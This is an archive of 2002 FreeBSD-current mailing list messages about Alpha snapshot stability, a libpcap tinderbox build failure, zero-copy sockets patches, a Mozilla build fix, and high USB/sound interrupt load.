Received: from salex001.dsto.defence.gov.au (salex001.dsto.defence.gov.au [131.185.2.9])
	by muttley.dsto.defence.gov.au (8.9.3/8.9.3/8.9.3.LMD.990513) with ESMTP id KAA07736;
	Fri, 21 Jun 2002 10:55:29 +0930 (CST)
Received: from squirm.dsto.defence.gov.au ([131.185.75.211]) by salex001.dsto.defence.gov.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id M7A4793H; Fri, 21 Jun 2002 10:55:43 +0930
Date: Fri, 21 Jun 2002 10:46:26 +0930 (CST)
From: "Wilkinson,Alex" <Alex.Wilkinson@dsto.defence.gov.au>
X-X-Sender: wilkinsa@squirm.dsto.defence.gov.au
Reply-To: Alex.Wilkinson@dsto.defence.gov.au
To: freebsd-alpha@freebsd.org
Cc: current@freebsd.org
Subject:  -CURRENT on Alpha 
In-Reply-To: <000501c2178e$c1b00b50$b014898e@dactyl>
Message-ID: <20020621103118.M36172-100000@squirm.dsto.defence.gov.au>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Howdy Crew,

I'm been having issues building -CURRENT on my Alpha pws 500au lately, in particular
installworld. Anyway, I blew everything away (bec my world and kernel weren't in sync)
and installed a SNAPSHOT from:
ftp.jp.freebsd.org/pub/FreeBSD/snapshots/alpha/5.0-20020330-SNAP/.

This was the last SNAPSHOT that the Japanese site offered.

My Question: What is the stability of -CURRENT like at the moment on Alpha ?
             I going to sup' a co my src and build a new world and kernel on the weekend
             BUT if you guys recommend not to, I'll wait until things get a bit more
             stable.

             Is it because no one has got a working world/kernel for -CURRENT
             since March 2002 that a newer SNAPSHOT has not been made ?


Thoughts ? Recommendations ?

 - Alex


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 19:16:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id 4086F37B413; Thu, 20 Jun 2002 19:16:52 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5L2GeL16810;
	Thu, 20 Jun 2002 20:16:40 -0600 (MDT)
	(envelope-from ken)
Date: Thu, 20 Jun 2002 20:16:40 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: Bosko Milekic <bmilekic@unixdaemons.com>
Cc: Andrew Gallatin <gallatin@cs.duke.edu>, current@FreeBSD.ORG,
	net@FreeBSD.ORG
Subject: Re: new zero copy sockets snapshot
Message-ID: <20020620201640.A16781@panzer.kdm.org>
References: <20020618223635.A98350@panzer.kdm.org> <xzpelf3ida1.fsf@flood.ping.uio.no> <20020619090046.A2063@panzer.kdm.org> <20020619120641.A18434@unixdaemons.com> <15633.17238.109126.952673@grasshopper.cs.duke.edu> <20020619233721.A30669@unixdaemons.com> <15633.62357.79381.405511@grasshopper.cs.duke.edu> <20020620114511.A22413@unixdaemons.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020620114511.A22413@unixdaemons.com>; from bmilekic@unixdaemons.com on Thu, Jun 20, 2002 at 11:45:11AM -0400
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Thu, Jun 20, 2002 at 11:45:11 -0400, Bosko Milekic wrote:
> On Thu, Jun 20, 2002 at 11:24:05AM -0400, Andrew Gallatin wrote:
> > Bosko Milekic writes:
> 
> >  >   By the way, my other two comments have been deleted, but reading the
> >  > page that Ken maintains I noticed that Alfred already pointed them out.
> > 
> > <...>
> > 
> > Ken has been maintaining the patchset on his own for quite some time.
> > I must admit that I've not looked closely at these issues, so I didn't
> > feel it was appropriate for me to comment on them.  I didn't mean to
> > discount your other comments.
> 
>   Ken has already taken care of it.  I'm really impressed that Ken has
> maintained the patchset for so long.  It's really good that the
> zero-copy stuff has not been dropped over the years.

Perforce certainly helps. :)

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 20:18:45 2002
Delivered-To: freebsd-current@freebsd.org
Received: from ref5.freebsd.org (ref5.FreeBSD.org [216.136.204.102])
	by hub.freebsd.org (Postfix) with ESMTP id 2545037B419
	for <current@freebsd.org>; Thu, 20 Jun 2002 20:18:20 -0700 (PDT)
Received: from ref5.freebsd.org (localhost [127.0.0.1])
	by ref5.freebsd.org (8.12.3/8.12.3) with ESMTP id g5L3IJ0h040239
	for <current@freebsd.org>; Thu, 20 Jun 2002 20:18:19 -0700 (PDT)
	(envelope-from des@ref5.freebsd.org)
Received: (from des@localhost)
	by ref5.freebsd.org (8.12.3/8.12.3/Submit) id g5L3IJk0040237
	for current@freebsd.org; Thu, 20 Jun 2002 20:18:19 -0700 (PDT)
Date: Thu, 20 Jun 2002 20:18:19 -0700 (PDT)
From: Dag-Erling Smorgrav <des@FreeBSD.org>
Message-Id: <200206210318.g5L3IJk0040237@ref5.freebsd.org>
To: current@freebsd.org
Subject: i386 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--------------------------------------------------------------
>>> Rebuilding the temporary build tree
--------------------------------------------------------------
>>> stage 1: bootstrap tools
--------------------------------------------------------------
>>> stage 2: cleaning up the object tree
--------------------------------------------------------------
>>> stage 2: rebuilding the object tree
--------------------------------------------------------------
>>> stage 2: build tools
--------------------------------------------------------------
>>> stage 3: cross tools
--------------------------------------------------------------
>>> stage 4: populating /home/des/tinderbox/i386/obj/local0/scratch/tinderbox/src/i386/usr/include
--------------------------------------------------------------
>>> stage 4: building libraries
--------------------------------------------------------------
===> lib/libpcap
...
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c: In function `init_linktype':
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:604: `DLT_PPP_ETHER' undeclared (first use in this function)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:604: (Each undeclared identifier is reported only once
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:604: for each function it appears in.)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:682: `DLT_PRISM_HEADER' undeclared (first use in this function)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:721: `DLT_LTALK' undeclared (first use in this function)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c: In function `gen_linktype':
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:955: `DLT_PRISM_HEADER' undeclared (first use in this function)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:1215: `DLT_PPP_ETHER' undeclared (first use in this function)
/local0/scratch/tinderbox/src/contrib/libpcap/gencode.c:1412: `DLT_LTALK' undeclared (first use in this function)
*** Error code 1

Stop in /local0/scratch/tinderbox/src/lib/libpcap.
*** Error code 1

Stop in /local0/scratch/tinderbox/src/lib.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 20:53: 4 2002
Delivered-To: freebsd-current@freebsd.org
Received: from castle.jp.FreeBSD.org (castle.jp.FreeBSD.org [210.226.20.15])
	by hub.freebsd.org (Postfix) with ESMTP id 8416937B407
	for <current@freebsd.org>; Thu, 20 Jun 2002 20:53:00 -0700 (PDT)
Received: from localhost (localhost [::1])
	by castle.jp.FreeBSD.org (8.11.6+3.4W/8.11.3) with ESMTP/inet6 id g5L3qqN75969;
	Fri, 21 Jun 2002 12:52:52 +0900 (JST)
	(envelope-from matusita@jp.FreeBSD.org)
Cc: current@freebsd.org
In-Reply-To: <20020621103118.M36172-100000@squirm.dsto.defence.gov.au>
References: <000501c2178e$c1b00b50$b014898e@dactyl>
	<20020621103118.M36172-100000@squirm.dsto.defence.gov.au>
X-User-Agent: Mew/1.94.2 XEmacs/21.5 (bamboo)
X-FaceAnim: (-O_O-)(O_O- )(_O-  )(O-   )(-   -)(   -O)(  -O_)( -O_O)(-O_O-)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Dispatcher: imput version 20000228(IM140)
Lines: 10
From: Makoto Matsushita <matusita@jp.FreeBSD.org>
To: Alex.Wilkinson@dsto.defence.gov.au
Subject: Re: -CURRENT on Alpha
Date: Fri, 21 Jun 2002 12:52:49 +0900
Message-Id: <20020621125249A.matusita@jp.FreeBSD.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Alex.Wilkinson>  Is it because no one has got a working world/kernel
Alex.Wilkinson>  for -CURRENT since March 2002 that a newer SNAPSHOT
Alex.Wilkinson>  has not been made ?

I don't know it works or not (sorry), latest 5-current FreeBSD/alpha is
available at ftp://snapshots.jp.FreeBSD.org/pub/FreeBSD/snapshots/alpha/.

-- -
Makoto `MAR' Matsushita

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 22:22:36 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-blue.research.att.com (H-135-207-30-102.research.att.com [135.207.30.102])
	by hub.freebsd.org (Postfix) with ESMTP id 47DD337B40D
	for <current@FreeBSD.ORG>; Thu, 20 Jun 2002 22:22:33 -0700 (PDT)
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-blue.research.att.com (Postfix) with ESMTP id B1E6F4CE2F
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 01:22:32 -0400 (EDT)
Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id BAA20184
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 01:22:31 -0400 (EDT)
From: Bill Fenner <fenner@research.att.com>
Received: (from fenner@localhost)
	by windsor.research.att.com (8.8.8+Sun/8.8.5) id WAA26003;
	Thu, 20 Jun 2002 22:22:31 -0700 (PDT)
Message-Id: <200206210522.WAA26003@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
To: current@FreeBSD.ORG
Subject: libpcap vs. up-to-date <net/bpf.h> Re: i386 tinderbox failure
Date: Thu, 20 Jun 2002 22:22:31 -0700
Versions: dmail (solaris) 2.4c/makemail 2.9d
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


Ok, so I broke world.  What I don't get is how -- why doesn't the
build use the up to date includes?

  Bill

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 22:26: 9 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by hub.freebsd.org (Postfix) with ESMTP id DD4DC37B40F
	for <current@FreeBSD.ORG>; Thu, 20 Jun 2002 22:26:06 -0700 (PDT)
Received: from alliance.research.att.com (alliance.research.att.com [135.207.26.26])
	by mail-green.research.att.com (Postfix) with ESMTP id 3E77C1E00F
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 01:26:06 -0400 (EDT)
Received: from windsor.research.att.com (windsor.research.att.com [135.207.26.46])
	by alliance.research.att.com (8.8.7/8.8.7) with ESMTP id BAA20203
	for <current@FreeBSD.ORG>; Fri, 21 Jun 2002 01:26:04 -0400 (EDT)
From: Bill Fenner <fenner@research.att.com>
Received: (from fenner@localhost)
	by windsor.research.att.com (8.8.8+Sun/8.8.5) id WAA26037;
	Thu, 20 Jun 2002 22:26:05 -0700 (PDT)
Message-Id: <200206210526.WAA26037@windsor.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
To: current@FreeBSD.ORG
Subject: Re: libpcap vs. up-to-date <net/bpf.h> Re: i386 tinderbox failure
Date: Thu, 20 Jun 2002 22:26:04 -0700
Versions: dmail (solaris) 2.4c/makemail 2.9d
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


And the answer is... it only uses the includes if you commit them
to the FreeBSD repository instead of your local repository.

Pointy hat to:	fenner

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 22:44:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id EE02B37B409; Thu, 20 Jun 2002 22:44:36 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5L5iar18208;
	Thu, 20 Jun 2002 23:44:36 -0600 (MDT)
	(envelope-from ken)
Date: Thu, 20 Jun 2002 23:44:35 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: current@FreeBSD.org
Cc: net@FreeBSD.org
Subject: updated zero copy sockets snapshot available
Message-ID: <20020620234435.A18183@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


I've released a new zero copy sockets snapshot, based on -current from June
20th, 2002.

http://people.FreeBSD.org/~ken/zero_copy

This fixes the following issues:

 - Use SLIST_FIRST() macros to access the first entry in a SLIST in
   uipc_jumbo.c.  I didn't fix all of these when Alfred pointed out
   the problem.  (Pointed out by Bosko Milekic.)

 - Remove superfluous TI_LOCK()/TI_UNLOCK() calls in the zero copy version
   of ti_newbuf_jumbo().  We already have the lock in all the places
   ti_newbuf_jumbo() is called.  (Prompted by Bosko Milekic.)

 - In the SIOCGIFMEDIA ioctl in ifmedia_ioctl(), avoid calling malloc()
   with M_WAITOK.  Return an error if the M_NOWAIT malloc fails.

   The ti(4) driver and the wi(4) driver, at least, call this with a
   mutex held.  This causes witness warnings for 'ifconfig -a' with a
   wi(4) or ti(4) board in the system.  (I've only verified for ti(4)).

Feedback and comments are welcome!

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 22:46:32 2002
Delivered-To: freebsd-current@freebsd.org
Received: from creme-brulee.marcuscom.com (rdu57-17-158.nc.rr.com [66.57.17.158])
	by hub.freebsd.org (Postfix) with ESMTP id 36FC837B410
	for <freebsd-current@FreeBSD.ORG>; Thu, 20 Jun 2002 22:46:24 -0700 (PDT)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.12.3/8.12.3) with ESMTP id g5L5i5B4052902;
	Fri, 21 Jun 2002 01:44:05 -0400 (EDT)
	(envelope-from marcus@marcuscom.com)
Subject: Re: The -current state of mozilla affairs
From: Joe Marcus Clarke <marcus@marcuscom.com>
To: Sean Chittenden <sean@chittenden.org>
Cc: Kris Kennaway <kris@obsecurity.org>,
	walt <wsheets@sbcglobal.net>,
	freebsd-current <freebsd-current@FreeBSD.ORG>
In-Reply-To: <20020619232135.D37593@ninja1.internal>
References: <3CFC588A.9070903@sbcglobal.net>
	<20020604134655.B62465@xor.obsecurity.org>
	<20020619183056.K31745@ninja1.internal>
	<1024539159.44782.21.camel@shumai.marcuscom.com> 
	<20020619232135.D37593@ninja1.internal>
Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature";
	boundary="=-je5tqJDSLx2BBmRTJNeP"
X-Mailer: Ximian Evolution 1.0.7 
Date: 21 Jun 2002 01:46:57 -0400
Message-Id: <1024638418.52624.34.camel@shumai.marcuscom.com>
Mime-Version: 1.0
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--=-je5tqJDSLx2BBmRTJNeP
Content-Type: multipart/mixed; boundary="=-qi2a5+B92RhjJkXI8Fx1"


--=-qi2a5+B92RhjJkXI8Fx1
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Thu, 2002-06-20 at 02:21, Sean Chittenden wrote:
> > > I supped a -CURRENT system 3 days ago and am still having the problem
> > > described here, but the gcc that's in the base system is 3.1 at this
> > > point.  I'm installing gcc32 now and will try building this again
> > > using a newer version of GCC but am not sure if this'll fix anything.
> > > Anyone have any ideas/clues?  -sc
> >=20
> > I do, but admittedly, it's not my idea.  Peter Kostouros has said
> > that defining THUNK_BASED_THIS_ADJUST in
> > xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h fixes
> > the build problem on -CURRENT.  I have not tested this yet, but I
> > did test a build with gcc31 from ports (per mbr@'s suggestion), and
> > that works just fine.
> >
> > I want to test Peter's suggestion before I add more bloat to Mozilla.  =
I
> > just have a really slow -CURRENT machine.  If you'd like to test the
> > option, undefine CFRONT_STYLE_THIS_ADJUST, and define
> > THUNK_BASED_THIS_ADJUST in the above header file, and see if it works.
>=20
> Sweeet!  We've got a winner.  The attach patched should work but is
> untested (I just brute-forced the defs earlier and am not about to
> wait another 4+hrs to test this little patch).  :~) Anyway, any chance
> this could be committed as a patch for mozilla?  -sc

How about this one?  It's very similar to yours, Sean, but thunk
adjustments will also be made for all non-i386 platforms.  Since I don't
readily have an alpha workstation to test with, I would appreciate if
someone could build mozilla with this patch on alpha -stable, and let me
know how it goes.

Again, thanks to Peter Kostouros for the idea of using thunking as a
workaround for these problems.

Joe

>=20
> --=20
> Sean Chittenden
> ----
>=20

> --- xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h.orig	T=
ue Apr  9 20:37:34 2002
> +++ xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h	Wed Ju=
n 19 23:23:38 2002
> @@ -94,7 +94,7 @@
>   * gcc is that the system gcc defines __FreeBSD_cc_version.  This variab=
le
>   * can also identify the period of time that 4.0-CURRENT used thunks.
>   */
> -#if defined(__FreeBSD_cc_version) && \
> + #if defined(__FreeBSD_cc_version) && (__FreeBSD_cc_version < 500003) &&=
 \
>      (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
>  #define CFRONT_STYLE_THIS_ADJUST
>  #else


--=-qi2a5+B92RhjJkXI8Fx1
Content-Disposition: attachment; filename=xptc_platforms_unixish_x86.h.diff
Content-Type: text/plain; name=xptc_platforms_unixish_x86.h.diff; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

--- xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h.orig	Fri=
 Jun 21 01:12:40 2002
+++ xpcom/reflect/xptcall/src/md/unix/xptc_platforms_unixish_x86.h	Fri Jun =
21 01:41:51 2002
@@ -94,8 +94,16 @@
  * gcc is that the system gcc defines __FreeBSD_cc_version.  This variable
  * can also identify the period of time that 4.0-CURRENT used thunks.
  */
-#if defined(__FreeBSD_cc_version) && \
-    (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003)
+
+/* It seems we need to use thunks in FreeBSD -CURRENT after gcc-3.1 was me=
rged.
+ * This solves a problem wherein regxpcom and/or regchrome would seg fault
+ * after running for a while.  This problem has also exhibited itself on=20
+ * the alpha platform.  Therefore, use thunks on all non-i386 versions of
+ * -stable and _all_ versions of -CURRENT that are using gcc-3.1.
+ */
+#if defined(__FreeBSD_cc_version) && defined(__i386__) && \
+    (__FreeBSD_cc_version < 400002 || __FreeBSD_cc_version > 400003) && \
+    (__FreeBSD_cc_version < 500003)
 #define CFRONT_STYLE_THIS_ADJUST
 #else
 #define THUNK_BASED_THIS_ADJUST

--=-qi2a5+B92RhjJkXI8Fx1--

--=-je5tqJDSLx2BBmRTJNeP
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (FreeBSD)

iD8DBQA9Er3Rb2iPiv4Uz4cRApIwAJ4gGx27HhMczV7ULUI94lU0md+34ACeI1TW
+GpZm5+hHMovBriUiqWjAlQ=
=QFWM
-----END PGP SIGNATURE-----

--=-je5tqJDSLx2BBmRTJNeP--


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Thu Jun 20 23:39:22 2002
Delivered-To: freebsd-current@freebsd.org
Received: from sccrmhc01.attbi.com (sccrmhc01.attbi.com [204.127.202.61])
	by hub.freebsd.org (Postfix) with ESMTP id 327C237B412
	for <current@freebsd.org>; Thu, 20 Jun 2002 23:38:36 -0700 (PDT)
Received: from attbi.com ([24.60.235.125]) by sccrmhc01.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020621063835.FAQH1024.sccrmhc01.attbi.com@attbi.com>;
          Fri, 21 Jun 2002 06:38:35 +0000
Message-ID: <3D12D7F4.9030806@attbi.com>
Date: Fri, 21 Jun 2002 03:38:28 -0400
From: Anthony Jenkins <abjenkins@attbi.com>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.0.0) Gecko/20020609
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Anthony Jenkins <abjenkins@attbi.com>
Cc: FreeBSD-current <current@freebsd.org>
Subject: Re: High interrupt usage in system (ohci and/or pcm?)
References: <3D11575E.3070703@attbi.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Compiled the USB out of the kernel and have *much* better 
responsiveness.  I have a 4-port PCI USB OHCI controller card installed. 
 With both the USB and pcm modules unloaded the irq10 handler seems to 
fall to 0% usage, but if I load snd_emu10k1.ko it pops right back up to 
60% in top(1), regardless of whether I'm using the device or not. 
 Luckily this mouse has a USB-to-PS/2 adapter.  Guess I don't need sound 
or USB....

Anthony

Anthony Jenkins wrote:

>  Hi,
>
> Ever since cvsup'ing/building a new kernel a couple weeks ago I've had 
> ridiculously high interrupt state percentages shown in top(1), from 
> 70%-98%.  My system (1 Athlon MP 1800+, Tyan 2466 dual board, 512MB, 
> SMP kernel) is running at about 20% of its previous responsiveness.  
> Running single-user mode offers no change to the high interrupt state 
> measure. I cvsup'd yesterday and installed world+kernel, but no luck.  
> I'll post my kernel config below, with most comment/blank lines 
> removed for space, as well as my dmesg output.
>
> Okay, looking at 'ps axlww' shows the ochi1 and pcm drivers with '263' 
> in the CPU column... setiathome is a measly 119:
>
>    0    26     0 263 -64  0     0    3 -      RL    ??  157:51.30  
> (irq10: ohci1 pcm0)
>
> I load pcm through the loader(8) mechanism using a pcm_load="YES" line 
> in /boot/loader.conf, but it had always been sane before; ohci is in 
> kernel config.  My USB devices are a MS Intellimouse and an IBM webcam 
> (this is a dual-boot box now).  Any other tools I can use to determine 
> where my cycles are going?
>
> Okay, I killed X and unloaded the pcm driver and usage is around 
> 64-67% in interrupt state, and a bit more responsive, but the ohci 
> listing in ps(1) still seems to be the culprit:
>
>    0    26     0 242 -64  0     0    3 Giant  ML    ??  164:54.23  
> (irq10: ohci1)
>
> It seems that 8 out of 9 times I get "Giant ML" in the listing... 
> probably related to the several warnings I get on console?  Here's 
> some output from dmesg(8):
>
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:play:0" locked 
> from /usr/src/sys/dev/sound/pcm/sound.c:191
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:record:0" 
> locked from /usr/src/sys/dev/sound/pcm/sound.c:191
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:play:0" locked 
> from /usr/src/sys/dev/sound/pcm/sound.c:191
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "pcm0:record:0" 
> locked from /usr/src/sys/dev/sound/pcm/sound.c:191
> ...
> lock order reversal
> 1st 0xdf5fab34 process lock (process lock) @ 
> /usr/src/sys/kern/kern_exec.c:319
> 2nd 0xc0318d80 filelist lock (filelist lock) @ 
> /usr/src/sys/kern/kern_descrip.c:1112
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_exec.c:319
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_exec.c:319
> ...
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "xl0" locked from 
> /usr/src/sys/pci/if_xl.c:415
> pcm0: unregister: channel pcm0:play:0 busy (pid 13129)
> IP firewall unloaded
> IP packet filtering initialized, divert disabled, rule-based 
> forwarding disabled, default to deny, logging disabled
> pid 13008 (cupsd), uid 0: exited on signal 10 (core dumped)
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_prot.c:511
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_prot.c:511
> pcm0: warning: memblock list not empty
> pcm0: detached
> emujoy0: detached
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_prot.c:511
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_prot.c:511
> [/usr/home/ajenkins]{41}: /usr/src/sys/vm/uma_core.c:1330: could sleep 
> with "process lock" locked from /usr/src/sys/kern/kern_exec.c:319
> /usr/src/sys/vm/uma_core.c:1330:: Too many arguments.
> /usr/src/sys/vm/uma_core.c:1330: could sleep with "process lock" 
> locked from /usr/src/sys/kern/kern_exec.c:319
> [/usr/home/ajenkins]{42}: /usr/src/sys/vm/uma_core.c:1330: could sleep 
> with "process lock" locked from /usr/src/sys/kern/kern_exec.c:319
> /usr/src/sys/vm/uma_core.c:1330:: Too many arguments.
>
> Kernel config:
>
> machine         i386
> #cpu            I386_CPU               cpu             I486_CPU
> cpu             I586_CPU
> cpu             I686_CPU
> ident           "MYKERNEL-5.0"
